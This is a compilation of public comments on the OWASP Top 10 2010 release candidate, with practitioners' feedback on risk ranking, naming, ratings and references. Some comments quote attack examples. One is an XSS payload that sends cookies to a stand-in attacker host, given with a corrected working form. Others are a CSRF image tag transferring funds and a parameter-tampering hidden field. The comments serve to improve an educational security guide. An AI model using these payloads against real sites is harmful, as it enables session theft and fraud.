The following are all the public comments OWASP received regarding the 2010 OWASP Top 10 Release Candidate that was released Nov 13th, 2009 at the OWASP U.S. Conference in Washington D.C. It includes all comments received thru March 30, 2010.

1. From Kai Jendrian – He provided detailed comments within a PDF, attached separately.
2. From Raul Siles:

Hi,

As the topic of adding missing vulnerabilities, or grouping them together, is appearing (has appeared in the past and will appear) on multiple OWASP Top 10 mailing-list threads, what about including a brief final section or appendix in the document with a list of the non-included issues? This will help the interested reader into researching about those other things that didn't get into the Top 10 but are the next set of important things to consider.

Of course, that suggested list could be endless, so I recommend to take the next 10 issues (rough number) and list them there. The idea is not to create a Top 20, 25, etc, and not to describe them in detail, but to provide a quick pointer for the Top 10 readers that, after reading the document, ask themselves... "what else should I consider next?".

Cheers,

--

Raul Siles

1. From Andre Gironda:

The #1 in the OWASP Top Ten should be "Attack Chaining", because it's rare to find people who get this concept. Thus, concepts like using XSS to bypass CSRF protections can be discussed. Also, using log/error

files or other writable local files can turn a LFI into an RFI. Source code disclosure can lead to very advanced (e.g. logic) attacks with full-knowledge.

OWASP T10 is mostly a marketing tool. What SANS/CWE Top 25 and many other marketing tools don't show is that the problems aren't meant to be solved one-at-a-time. One vulnerability isn't as "prevalent" or "severe" as any other, especially because multiple vulnerabilities are almost always present in any given large web application.

We're not recommending controls with the T10; we're trying to demonstrate the attack principles -- the inherent weaknesses in the system. Yet we forget that the system can be attacked like a system. The Orange book calls them "object reuse" and "covert channels".

dre

1. From Ryan Barnett:

I have a comment on this section of pg. 5 of the PDF -

REMOVED: A6 –Information Leakage and Improper Error Handling. This issue is extremely prevalent, but the impact of disclosing stack trace and error message information is typically minimal.

Based on my experience in working with our customers, default error messages (which give detailed stack dump or that dynamically insert DB error messages into the response page) are an serious issue.  It is true that these error pages are not a direct vulnerability in and of themselves, however they help to facilitate and expedite the attacker's iterative process of SQL Injection payloads so that they can get the DB correct syntax.  Even worse, these detailed error messages are often used as the actual transport mechanism to extract out customer records from back-end DBs.  I have see this happen too many times...

Now, all of this being said - it is my belief that with the inclusion of the new A6 - Security Misconfiguration - category that this would actually cover the sub-category of making sure that any detailed error messages pages that may have been enabled during staging/testing/QA have been properly reconfigured for production (which is the #1 root cause that we find).  This seems somewhat similar to the approach that was taken from 2004 -> 2007 version with collapsing all of the various injection flaws into 1 category which allowed for some new ones.

Do you agree with this assessment that the new A6 section would actually cover InfoLeakage/Error Handling issues?

Ryan C. Barnett

1. From Ketan Vyas:

Greetings Dave,   
  
Thank you Dave & team for wonderful compilation.   
  
Changing Top 10 perspective from vulnerability to risk gives more visibility to business decision makers. Most of the business applications have Middleware and backend support systems such as ERP/CRM/BI products. We haven't consider exact risk while putting interaction amongst these components. Authentication (A3), Default Authorization (A6) and Secure communication (A10) are already covered however from risk perspective, I could see 2 more opportunities.   
  
1.        Access control at interface layer   
2.        Insufficient logging and accountability   
  
Here are some improvement suggestions:   
  
\* This is for risk, how can we miss the weakest link - People. We can add something for providing end user awareness.   
\* We have What Next for developer and verifiers however I couldn't see What next for decision makers. Suggest to add a section.   
  
Regards,  
  
Ketan Vyas   
  
Regards,  
Ketan Dilipkumar Vyas

1. From Alex Lauerman:

Dave,  
  
This may have come up before, but one thing that has always bugged me about the OWASP Top 10 is that the items are inconsistently named.  For example, some items are attacks (Cross-Site Scripting), and some are weaknesses (Unvalidated Redirects and Forwards).  It seems to me like it would be more consistent to name Cross-Site Scripting something like Unvalidated Input and Lack of Output Encoding.  I realize you are trying to make it simple, but I'm not sure if it's clearer for the reader/user to mix attacks and weaknesses (versus consistent but less obvious names).

One other thing off the top of my head is that I believe "Cross Site Scripting" and "Cross Site Request Forgery" should be written with a hyphen (e.g., Cross-Site Scripting and Cross-Site Request Forgery).  I'm far from a grammar expert, but I can get ahold of one if that would be helpful.  There are a obviously a lot of articles on hyphenation, but [here](http://www.grammarmudge.cityslide.com/articles/article/426348/2805.htm) is one I just brought up.  I think their example's of "First-class decisions require clear-headed thinking" are pretty similar in structure to "Cross Site Scripting" and "Cross Site Request Forgery".  I'm not trying to nitpick, but that's how I write them and I wanted to provide feedback.

Thanks for listening,  
Alex

1. From: Honest Abe

I am a security code reviewer in large financial institution.

There is one thing I see as a trend which is not reflected in the OWASP Top 10.

Parameter Tampering.  When I say parameter tampering I am not just mentioning the normal parameter tampering.

As developers have been adopting Open Source Web Frameworks (Struts 1.x and 2.x, SpringMVC, JSF, etc.) they inherit the programming paradigms of these framework.  The problem is that developers do not understand the security implications of following the patterns of these frameworks.

One example is the parameter tampering caused by the dynamic binding mechanism of request parameters to Command, ActionForm, Action, or other request processing  objects.  Dinis Cruz and Ryan Berg discuss this in their excellent paper:

<http://www.ouncelabs.com/writable/resources/file/ounce_springframework_vulnerabilities.pdf>

The problem that developers are doing is placing sensitive objects (ApplicationContext, list of Accounts, etc.) directly in these request processing objects.  These objects can be tampered with either through insider information or looking at the source of the generated html pages.

The problem is further compounded by the fact that many frameworks which facilitate development with these open source frameworks advocate a merging of the persistent model objects and the request processing objects.

See Appfuse (which is a great productivity enhancer asides from the security vulnerability it introduces):

The Person object persistent entity created here:

<http://appfuse.org/display/APF/Persistence>

Has its attributes set by request parameters here:

<http://appfuse.org/display/APF/Using+Spring+MVC>

This ultimately compounds the issue because any persistent entity attribute can now be modified through request parameters.  These persistent entities are passed to a DAO (Data Access Layer) and have their attributes and any sub object attributes persisted to the database.

Most applications follow this pattern to get away from duplicating DTOs (DataTransfer Objects).

This is a problem that most developers are unaware of.  Some are under the mistaken belief that the dynamic binding only works with Strings and primitive types but this is not true.

For example, an attacker can attack List and Array attribute types (in this case accounts is a List or Array) of a command object by creating a request parameter like the following:

commandObj.accounts[0].accountNumber=#attacker’s Desired Account Number#

<input type=”hidden” name=”commandObj.accounts[0].accountNumber” value=”#newValue#”>

Regards,

Honest

1. From James Hu:

Hi,   
  
Here is my comments on the 2010 Top 10:  
  
---- A4 - Insecure Direct Object References   
  
1.   In 'How do I prevent this' section,  'Use indirect object reference' is really not an effective method in protecting this type of  vulnerability.     Only access check is right way to fix this problem.   
  
2.  When there are more than one method listed in any 'How do I prevent this' sections,  it is not clear about whether they are in AND or OR relationship.   
  
3.  A4 looks like a redundant one to A7 (Failure to restrict URL access ) to some extent. It is better to add this as an example attack vector in A7.  It does not deserve to be one of Top 10.   In my opinion,  the  'Information Leakage...' should not be removed though.   
  
4.  External section lists 'Path Traversal' as a reference.   It is confusing to categorize it as direct object reference attack ( if so, all types of  injection attacks can be regarded as direct object references ). It should be listed as reference in A1 ( injection ).     
  
I understand the A1  is intended to cover all types of injection related attack vectors.  In fact, A1 should list all common injection attacks ( e.g in SANs top 25 )  including traversal, XSS, email injection, etc   
  
---- A8 Unvalidated Redirects and Forwards.   
  
1.  This one may only deserve to be an example of A1 ( Injection )   
  
2.   In 'How do I prevent this' section, the first method looks inappropriate.  It should state as 'avoid including input data in forward string ' instead of 'avoid forward' since all web applications need forward.   
  
Also, not sure how you come up with the Impact level. e.g.   Impact on A4, A5, A6 and A7 can have the same severity level as A1 but they are set as moderate while A1 is severe...    Since each attack in the top ten can have various impact levels, If you just give the highest impact, it can also be confusing, at least, it needs to clearly explain how the impact is set...  Or, simply remove this metrics to avoid confusion.   
  
Thanks,   
James Hu

1. From Chris Palmer:

Hello,

I had a comment on the new Top Ten release candidate.

First, thank you for continuing to maintain the OWASP Top Ten. In the past, the OWASP Top Ten have served us well as a discussion point and as a benchmark for web application developers and security engineers to focus on. OWASP has a chance to raise the bar again.

However, I think there is an error in rc1. You list A10 as “Insufficient Transport Layer Protection”. You cite the problem as one of insufficient confidentiality protection “when it is necessary to protect sensitive communications”.

I would like to see the OWASP Top Ten state a far stronger case for a secure transport layer.

Consider the security guarantees that TLS aims to provide: Not just data confidentiality, but also server authentication and data integrity. Without authentication, confidentiality and integrity have no meaning (the client might be speaking “securely” to the attacker!). Authentication and integrity are (or should be) extremely important even for a public site that accepts anonymous clients, such as [www.nytimes.com](http://www.nytimes.com) or [www.google.com](http://www.google.com) – do we want attackers to be able to falsify world news? Does Google want competing advertisers to hijack their excellent advertisement platform, adversely affecting their business? I have seen both exploits happen; the attack is trivial to mount on a local network, and script-kiddie tools for achieving such attacks on an internet scale are widely available.

To make matters worse, no browser has a correct user interface for transport security. A correct interface would express the risk of unsafe transport or misconfigured/mis-used secure transport. Even a security-conscious person who always browses to Wells Fargo by manually typing in “<https://www.wellsfargo.com/>” (or who always uses a bookmark to that URL) can be tricked: What if the browser presents the person with a site whose identity was signed by a malicious or incompetent certificate authority (as in the “MD5 Considered Harmful Today” attack)?

Consider a  person who is extremely suspicious, and checks to see which CA signed the server’s certificate. In the attached screenshots, Wells Fargo appears to be run by “(unknown)”, and is signed by VeriSign. That sure seems fishy to me, especially since Wells Fargo has its own root CA – wouldn’t they *use* the CA they went to all the trouble of getting built into the browser? We can’t be sure we’re talking to the real Wells Fargo, even after an extraordinary effort.

OWASP should recognize this problem – that so few sites correctly use HTTPS, that no browser correctly reports to people the risk of using an unsafe transport layer, and that no browser implements CA-based server authentication safely – as the fundamental vulnerability it is.

There is no way for a normal person to know for sure who they are talking to on the web. This is the number 1 vulnerability on the web today – not number 10.

Again, thank you for your work with the OWASP Top Ten. I know it will continue to be useful!

1. From Michael Coates:

Here are a few minor corrections for A10

Section: Am I Vulnerable

Current: #2 Only strong algorithms are supported.

Corrected: #2 Only strong **ciphers** are supported.

Section: How Do I Prevent This?

Current: #3 Configure your SSL/TLS provider to only support strong (FIPS 140-2 compliant) algorithms

Corrected: #3 Configure your SSL/TLS provider to only support strong (FIPS 140-2 compliant) **ciphers**

Section: Threat Model, third box

Current: Detecting such flaws is easy. Just observe the site’s network traffic.

I’m not sure I completely agree here. It’s easy to detect if the data is encrypted versus not encrypted, but that’s only 1 check of many that is needed to determine if SSL./TLS is done correctly.

**Michael**

1. OWASP Sweden Chapter Comments (submitted by John Wilander)

**OWASP Sweden's Feedback on Top 10 2010 rc1**

OWASP Sweden had a chapter meeting on Dec 2nd to discuss the release candidate for OWASP Top 10 2010. This is our joint feedback to the Top 10 project.

**Overall**

Overall, the chapter thinks that **the new, risk-based approach is very valuable** and that the document has a higher potential of getting through to both developers (clear technical references) and executives with a technical understanding (risk-based and business oriented). Also, **we really like the document format with one risk per page**. Splendid work!

If OWASP wants to target a specific audience the document could be reworked with those people in mind. For instance putting more focus on business risk and cutting some technical details when targeting executives. Right now it's a "one size fits all".

**OWASP Risk Rating Methodology**

The OWASP Risk Methodology seems simple to use and experts on risk analysis will recognise the way it works. Three questions were raised though:

1. Isn't the Business risk needed for it to be a full risk calculation? Maybe that needs to be highlighted and a full explanation of how that part of the formula looks. Entering your own Business risks should ideally give you a new, adjusted top list.
2. Shouldn't a *higher* number imply a *higher* risk? At least that's what the Swedes are used to ;).
3. Maybe the Top 10 document should contain an example of how you actually calculate the risk? Page 20 seems like a good candidate. We mean the full formula "((2 + 1 + 1) / 3) \* 2".

**List in Wrong Order?**

The order of the list seems wrong. If you calculate the risk ratings (assuming: high impact = 1, low impact = 3, Detectability for Unvalidated Redirects and Forwards should be red, not yellow) you get the following list:

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Risk** | **Exploitability** | **Prevalence** | **Detectability** | **Impact** | **Rating** |
| Injection | 1 | 2 | 2 | 1 | 1.67 |
| Broken authentication and session management | 2 | 2 | 2 | 1 | 2.00 |
| Cross Site Scripting | 2 | 1 | 1 | 2 | 2.67 |
| Insecure Direct Object Reference | 1 | 2 | 1 | 2 | 2.67 |
| Cross Site Request Forgery | 2 | 1 | 1 | 2 | 2.67 |
| Security Misconfiguration | 1 | 2 | 1 | 2 | 2.67 |
| Insecure cryptographic storage | 3 | 3 | 3 | 1 | 3.00 |
| Failure to restrict URL access | 1 | 3 | 2 | 2 | 4.00 |
| Unvalidated redirects and forwards | 2 | 3 | 1 | 2 | 4.00 |
| Insufficient transport layer protection | 3 | 2 | 1 | 2 | 4.00 |

Suggestion: Reorder the list according to the calculated ratings (preferred) or adjust the ratings to fit the "desired" list.

**Business Risk**

The text in the Business risk box is sometimes the same (A2, A3, A6) which gives a copy-paste impression. Also, exposing or leaking data may not always have the same impact as manipulating or erasing data.

Suggestion 1: The document should try to say something *specific* about the business risk of every item on the list.

Suggestion 2: The document should suggest that the reader considers data manipulation and deletion as well as exposure and leakage.

**List Items**

Here we give feedback on all the list items.

**Injection**

We feel that the high prevalence of SQL injection is mostly true for legacy code, not newly developed code.

Suggestion: Add a note on legacy code under Prevalence in the risk analysis.

**Cross Site Scripting (XSS)**

XSS rarely leads to serious things in reality so maybe the Impact should be lowered? The serious XSS flaws are the stored ones but they are less prevalent. This means that XSS really is two different risks -- (1) reflected XSS = widespread but not so serious, (2) stored XSS = uncommon but rather serious.

Suggestion 1: Lower the Impact to Low (and recalculate the risk accordingly).

Suggestion 2: Differentiate between reflected and stored XSS in the risk analysis (we're not sure how though :)

Suggestion 3: We feel that Insecure Direct Object Reference is a greater risk in reality and would like to swap it with XSS in the list (they have the same rating according to our calculation)

**Broken Authentication and Session Management**

Although there is a clear connection between TLS and broken session management we feel that the TLS stuff belongs in the TLS section.

Suggestion 1: Remove TLS from Example Attack Scenarios.

Suggestion 2: List TLS last, not first under Am I Vulnerable?

**Insecure Direct Object References**

This is a serious risk in reality, more serious than XSS. Therefore it deserves a higher rank on the Top 10 list. It has the same risk rating as XSS but we suggest it is placed as number three and XSS as number four.

Suggestion: Put Insecure Direct Object References as number three on the list and XSS as number four (they have the same rank).

Minor remark: The yellow box says Moderate but should say Impact Moderate.

**Cross Site Request Forgery (CSRF)**

CSRF often builds on social attacks such as phising and thus has not really become the security problem we anticipated. Therefore we feel that the Exploitability should be lowered or that the social factors should at least be commented as a non-trivial obstacle for the attacker.

Suggestion: Lower the Exploitability to Difficult (and recalculate the risk accordingly) or add a comment on the problem of tricking the users to submit forged requests.

**Security Misconfiguration**

Security misconfig really deserves its place on the list but the category has become too general. We feel the description covers everything from firewall setup via OS hardening and configuration management to application security. All these things are important for the overall security but OWASP is about application security. The scope should be narrowed to application misconfiguration of frameworks (Struts, Spring MVC, ASP.NET) and third-party libraries. This smaller scope might result in security misconfig falling out of the Top 10.

Suggestion: Cut out the network, OS, and configuration mgmt parts and focus on application frameworks and third-party libraries.

**Failure to Restrict URL Access**

We think this type of flaw is more prevalent.

Suggestion: Change Prevalence from Uncommon to Common (and recalculate the risk accordingly).

**Unvalidated Redirects and Forwards**

First, this risk description contains a good Business impact text. It addresses the reader directly and suggests questions to ask yourself when assessing your risk.

Second, the forward part of this category is a bit unclear. How common is it compared to unvalidated redirects? How is it typically exploited? Actually, we haven't seen such vulnerabilities in the wild.

Third, the prevention list item 3 suggests that any destination URL should be authorized *for* the user. It could also be authorized *by* the user, to prevent phising. For instance clicking https://www.yourbank.com/leave.php?http://www.owasp.org will result in a transport page saying "You are now leaving Your Bank. Please Confirm."

Suggestion 1: Give a more clear explanation of the typical unvalidated forward flaw to motivate it on the top 10 list.

Suggestion 2: Point out that destination URLs must be authorized *for or by* the user.

Minor remark: Detectability Easy should be red, not yellow.

**Insecure Cryptographic Storage**

We experience this vulnerability to be quite common. The Am I Vulnerable section doesn't explain that exploitation of insecure cryptographic storage requires some other kind of security flaw such as SQL injection or Insecure Direct Object Reference.

Suggestion 1: Change the Prevalence from Uncommon to Common.

Suggestion 2: Explain that exploitation requires some other kind of security flaw -- this flaw (only) makes other flaws more serious.

**Insufficient Transport Layer Protection**

The first attack scenario currently overlaps with Broken Authentication and Session Management (we suggest removing TLS from Broken Authentication). We would also like to see an example about non-SSL login pages with https posts or iframed SSL-parts, which are very common. The list of references contains a link to the Top 10 2007 which might look odd.

Suggestion 1: Add a scenario about http login page with https post or iframed https page. Typical targets for MItM attacks with SSLStrip.

Suggestion 2: Consider (re)moving the Top 10 2007 reference.

**That's all! A big Thank You to the OWASP Top 10 Project for all the hard work. We really appreciate it! (That's why we wanted to give you some thought-through feedback)**

**Regards, OWASP Sweden**

1. From Colin Watson:

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Item** | **Page** | | **Type** | **Description** |
| E1 | Introduction: Warnings | Consistency | | Where to go from here' is currently in sentence case and underlined. In the Release Notes, 'Understanding Application Security Risk' is in double quotes. Use double quotes and Title case for all references to other sections? |
| E2 | Risk: What's My Risk | Consistency | | The 'OWASP Top 10' links to the alias /top\_10 rather than the one quoted in the Foreward: /Topten |
| E3 | A1: How Do I Prevent Injection | Futureproofing | | There are two links to the Google Code. Could these link to an OWASP address (an alias) that redirects to the Google site instead? Then if a generic language-independent page is created in the future, the redirect can be altered? |
| E4 | A1: References | Futureproofing | | Two Google Code links as E3 above. |
| E5 | A2: References | Mistake? | | The second last OWASP link to the Testing Guide links to a v2 document. There are maybe three v3 links:  http://www.owasp.org/index.php/Testing\_for\_Reflected\_Cross\_site\_scripting\_(OWASP-DV-001) http://www.owasp.org/index.php/Testing\_for\_Stored\_Cross\_site\_scripting\_(OWASP-DV-002) http://www.owasp.org/index.php/Testing\_for\_DOM-based\_Cross\_site\_scripting\_(OWASP-DV-003) |
| E6 | A2: References | Mistake | | The last OWASP link to the Code Review Guide Chapter on XSS Review is linking to the Testing Guide instead. I think the link should be:  http://www.owasp.org/index.php/Reviewing\_Code\_for\_Cross-site\_scripting |
| E7 | A3: How Do I Prevent This? | Futureproofing | | One Google Code link as E3 above. |
| E8 | A3: How Do I Prevent This? | Mistake? | | Should item 3 refer to A2 (XSS) instead of A5 (CSRF)? |
| E9 | A3: References | Futureproofing | | Two Google Code links as E3 above. |
| E10 | A4: References | Futureproofing | | Two Google Code links as E3 above. |
| E11 | A4: References | Mistake | | The two ESAPI Google Code links are very similar, but one is currently a dead link - check what URLs these are meant to be. |
| E12 | A5: References | Futureproofing | | One Google Code link as E3 above. |
| E13 | A7: References | Futureproofing | | One Google Code link as E3 above. |
| E14 | A8: Header | Mistake | | The coloured risk box "Detectability EASY" should be red not yellow. (I think this was mentioned by someone on the Leaders list). |
| E15 | A8: Example Attack Scenarios | Mistake | | Remove the active hyperlinks from the two examples. These link to a real website. |
| E16 | A8: How Do I Prevent This? | Futureproofing | | One Google Code link as E3 above. |
| E17 | A8: References | Mistake | | The WASC link is incorrectly going to the MITRE site. Link possibly should be:  http://projects.webappsec.org/URL-Redirector-Abuse |
| E18 | A8: References | Futureproofing | | One Google Code link as E3 above. |
| E19 | A9: Header | Terminology | | In the Technical Impact box, perhaps substitute PII (which has a specific legal meaning in US) with "personal or other sensitive information"? |
| E20 | A9: Am I Vulnerable? | Terminology | | Consider PII change as E19 above. |
| E21 | A9: References | Futureproofing | | One Google Code link as E3 above. |
| E22 | A9: References | Mistake | | CWE 310 is incorrectly linking to 312. Link should be:  http://cwe.mitre.org/data/definitions/310.html |
| E23 | A10: How Do I Prevent This? | Terminology | | In item 3, FIPS 140-2 is just one example from a non-exhaustive list… so add "e.g." like (e.g. FIPS 140-2 compliant)" |
| E24 | What’s Next for Developers | Mistake | | "free and open" is not a hyperlink so should not be blue (see also E30 below). |
| E25 | What’s Next for Developers | Mistake | | Apart from the contract annex and projects links, none of the other 13 hyperlinks on this page work. |
| E26 | What’s Next for Verifiers | Mistake | | 8 hyperlinks not working. |
| E27 | What’s Next for Verifiers | Extra | | Does "O2" need a link to:  http://www.owasp.org/index.php/OWASP\_O2\_Platform |
| E28 | Notes about Risk | Extra | | Is it worth mentioning/linking to the WASC Threat Classification?  http://www.webappsec.org/projects/threat/ |
| E29 | Notes about Risk | Layout | | Could the shaded table area continue below the lower calculation (i.e. below the 2.6), or remove it completely from behing the number calculations? |
| E30 | Various | Style | | Could word emphasis use emboldening rather than underlining, reserving the latter for hyperlinks? Not too big of an issue since hyperlinks are a different colour (good), but in B&W prints you can't tell the difference. |
| E31 | Various | Consistency | | The document is referred to as "Top 10" rather than "Top Ten". I prefer the latter because:  a) The numeric "10" clashes a bit with "2010" which will be the release year, making it harder to read/comprehend in speech  b) The name of the project is "OWASP Top Ten"  c) PCI DSS refers to "Top Ten" not "Top 10"  d) The project pages uses "OWASP Top Ten for 2010"  e) The short URL in the document is "http://www.owasp.org/index.php/Topten" |
| E32 | - | Extra | | The document is an important publicity item. Our testimonials page is not yet ready, but is it worth linking to the citations page from the text?  http://www.owasp.org/index.php/Industry:Citations  One place might be the phrase "many more" in the second paragraph of the Foreword. |

1. From Alejandro Rusell:

Hello,

I just found yesterday a reference to the OWASP Top Ten 2010 RCL and immediately dove into it. Excellent work!!

I would like to state the following comments about it.

------

Regarding the A2 risk, in the business impact analysis, I would add the consideration of the way being used as an attack vector may impact in the business image and its legal liabilities. I mention this as this attack's target is the user and not necessarily the server. This observation also applies to the A8 risk for the same reasons.

------

Regarding the A3 risk, I'd add a reference to "session fixation" issues as an attack vector. I understand that no detailed attacks are presented in the description, but considering that most of the frameworks used nowadays are vulnerable out of the box, it is a major issue worth at least a subtle reference.

I'd add also an item to the list Am I vulnerable:

6. Does the system accept existing (pre-login) session IDs? / Does the system reuse existing (pre-login) session IDs?

Something should be added to the How Do I Prevent This, too.

By the way, the Item 3 of the How Do I Prevent This box refers to A5 (CSRF) as a sample of XSS used to steal session IDs. Shouldn't it point to A2, instead? CSRF, as far as I understand it, is used to actually perform transactions in the context of a (logged in) user, not to execute code in their browser.

Regards,

Alejandro Rusell

1. From OWASP Denmark Chapter Comments (submitted by Ulf Munkedal)

Hi Dave (& lists),   
  
This is the official input from the Owasp Denmark chapter regarding the Owasp Top 10 RC 1.   
  
The following was discussed and collected at a meeting in Copenhagen on the 14th of December 2009. The participants were appx. 15 members with various developer and security backgrounds from a broad spectrum of companies that had met with the suggested Top 10 rc1 as the specific purpose.   
  
**General comments**   
  
In general we find the suggested Top 10 to be a great improvement over the old one. We do however have some suggested improvements and one serious concern (the new A6) as you can see in our input below.   
  
**Scope section.** We suggest having a scoping section in the beginning of the document so it is clear which risks the Top 10 are related to. This idea actually came about as we were walking through Dave’s presentation from DC, where he has a drawing of what in relation to an application that can be attacked by a hacker. We believe that a scoping section (e.g. just the drawing from the presentation and a few words) would make it clearer to everyone what risks we are talking about and make the Top 10 easier to understand.   
  
**Order of the risks.** The order of which the risks are listed in the document is not clear. The document indicates that the highest risks are listed first but when the “Notes about risk” on page 20 are used to calculate the risks values, then the following questions arise in relation the order of the risks:   
- Why is A2 stated before A3 when the calculated risk for A3 is 2.0   
and A2 has 2.6?   
- Why is A8 stated before A9 when the calculated risk for A9 is   
3.0 and A8 is 4.0?   
  
**Overview table.** It could also benefit the document if there was created an overview table with Exploitability, Prevalence, Detectability and Impact listed for all the risks in one compiled table. This would give a good overview of the risks and all their main parameters.   
  
**Comments on individual risks**   
  
**A1**   
- Should include a few words about error handling, since lack of error handling makes it significantly easier to exploit an injection vulnerability.   
  
**A4**   
- The word “Impact” is missing under Technical Impacts.   
- Detectability should in our opinion be “average” because it does require a manual activity to validate the vulnerability.   
  
**A6**   
- We think that A6 is completely out of Owasp scope and therefore needs to be reconsidered. If basic system security is included in this broad sense we move outside the application and then where do we stop? Then physical security should be added and that doesn’t make sense. Also it is so fluffy and vaguely described that this needs to be rethought. Consider that the PCI standard refers to the Owasp Top 10 and with the appearance of a fluffy A6 on the list, there will be several points of overlap between the other areas of the PCI standard and A6 (e.g. patch management) where there were no overlap before since the Owasp Top 10 focused solely on application security (and this is how it should continue to be in our opinion). We see the following options:   
- Change the scope of A6 so it is aligned to a true OWASP scope, i.e. only include security in directly included libraries of the applications, leaving out all other parts of basic system security. This is our preferred and suggested change.   
- Remove A6 entirely, or perhaps it could be moved to be a A0 as basic system security is a prerequisite for application security.   
- Create a separate and new top 10 list for platform/OS/system risks, and include the current A6 in that one.   
  
**A8**   
- The box should be red in Detectability.   
  
**A9**   
- Prevalence should be “Common” based on the Owasp Denmark group’s experience   
  
**A10**   
- Prevalence should be “wide spread” based on the Owasp Denmark group’s experience   
  
I hope you find our input valuable.   
  
Happy New Year!   
  
Best,   
Ulf Munkedal   
Chapter Chair, Denmark

1. From Johanne Ulloa:

Hello Dave,  
  
First, I would like to introduce myself. I work since a few years for Deny All, a WAF vendor. I would like to congratulate you and other people that contributed to these doc. The point I like especially is the methodology to calculate the risk. Let's talk about mitigation, this is the main reason why I write you this email.  
On the PDF:  
  
    \* First surprise: nothing on the negative security model.  
  
On the PPT:  
    \* Second surprise, still nothing on negative security model and positive security model model is related to the development phases.  
    \* First surprise, nothing related to WAF in the slide "How to address the problem"  
  
Do you think that a WAF is in opposition with the secure development?  Both are totally complementary. Companies will reach a good security level ONLY if both aspects are taken in consideration. Even if a developer has been trained to develop securely, he can make mistakes. And a WAF can't block everything. Alone, WAF of SDLC are weak.  
  
So, don't you think your approach that consist (in the better case) to not mention WAF is the better you can offer? Don't you think that there's a lot of company that don't have any control on the dev team? (in that case, what will be the added value of the slide "How to address the problem"?  
  
So, I suggest to talk about negative security model and WAF in mitigations because it is used and useful and complementary to SDLC  
  
Best regards,  
  
Johanne

1. From Darren Todd:

Hi Dave,

Regarding the excellent Top Ten OWASP 2010 paper I have a very minor comment on the RC1 version (from <http://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf> ) :

In section A5 – CSRF, page 12 the Example Attack lists the application URI as:

[**http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243**](http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243)

But the attackers image source URI is

**<imgsrc="**[**http://example.com/transferFunds?amount=1500&destinationAccount=attackersAcct#“width=**](http://example.com/transferFunds?amount=1500&destinationAccount=attackersAcct)**"0" height="0" />**

For completeness sake, should this include the “app/”  path in the URI, i.e. :

**<imgsrc="**[**http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“width=**](http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct)**"0" height="0" />**

Thanks for this paper, finding it very useful and interesting reading material.

Best regards,

Darren

1. From Blake Frantz:

Hi Dave,

What are your thoughts on including a reference to the CIS benchmarks for item “A6 –Security Misconfiguration (NEW)” in the OWASP 2010 Top 10?  You can get a list of all our configuration guides here: <http://cisecurity.org/en-us/?route=downloads.multiform>.

I’m happy to hop on the phone to discuss this possibility in greater detail.

Thanks for your time.

Blake Frantz

1. From James Jardine:

Hi Dave,

I was just looking over the new Release Candidate for the Top 10 for 2010 and just wanted to express my thoughts on the removal of the information Leakage and improper error handling. The RC states "this issue is extremely prevalent, but the impact of disclosing stack trace and error message information is typically minimal."

I would contest that statement especially since Injection was moved to the number 1 spot on the top 10. Stack trace information can be extremely helpful in SQL Injection and fingerprinting the Database. The disclosure of File Paths also lead to important information that can tell the exact language used, and directory structures for traversing.

I don't disagree that the new added items are not large risks and I am sure that limiting the list to 10 is a difficult process.

I personally appreciate all the hard work everyone has put in to creating and maintaining the OWASP site.

Thanks,

James Jardine

1. From Michael Brooks

I have read over the OWASP top 10 for 2010 and I like it. However, I disagree that CSRF (A5) should be higher on the list in OWASP 2010.

According to the United States Department Of Homeland Security the most dangerous CSRF vulnerability ranks in at the 908th most dangerous software bug ever found (<http://www.kb.cert.org/CERT_WEB%5Cservices%5Cvul-notes.nsf/bymetric?open&start=908>). Other Severity Metrics have been issued for CSRF vulnerabilities that result in remote code execution with root privileges(<http://www.kb.cert.org/vuls/id/584089>) . As well as compromise of a root certificate which will completely undermine a Public Key Infrastructure (<http://www.kb.cert.org/vuls/id/264385>).(Both the Motorola and the cPanel vulnerabilities are from my research, Michael Brooks ;) The reason why the Motorola vulnerability given such a high score is because it disrupts a large part of the internet infrastructure. CSRF has the unique ability to access restricted network resources to deliver devastating attacks. CSRF can extend attackers abilities and go to places where nothing else can.

I encourage you to look over the severity metric list. I can't find a single severity metric assigned to a vulnerability in this category: "A3 –Broken Authentication and Session Management". I don't think you'll ever find an A3 vulnerability that will be given a severity metric of 13.50 (<http://www.kb.cert.org/vuls/id/643049>). Also as an active security researcher I can tell you from first hand experience that there is a lot more CSRF in the wild than Broken authentication. (<http://www.milw0rm.com/author/677>).

Thanks,

Michael Brooks

1. From Fabrizio Accatino

Hello Dave,

A small feedback about <http://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf>

Page 9: I'm not a javascript / xss expert but the example seems wrong to me.

'><script>document.location='<http://www.attacker.com/cgi-bin/cookie.cgi>?'**%20**+document.cookie</script>'

Why %20?   I tried it and it does not work.

This works:

'><script>document.location='<http://www.attacker.com/cgi-bin/cookie.cgi?'+document.cookie></script>'

Best regards

Fabrizio

1. TBD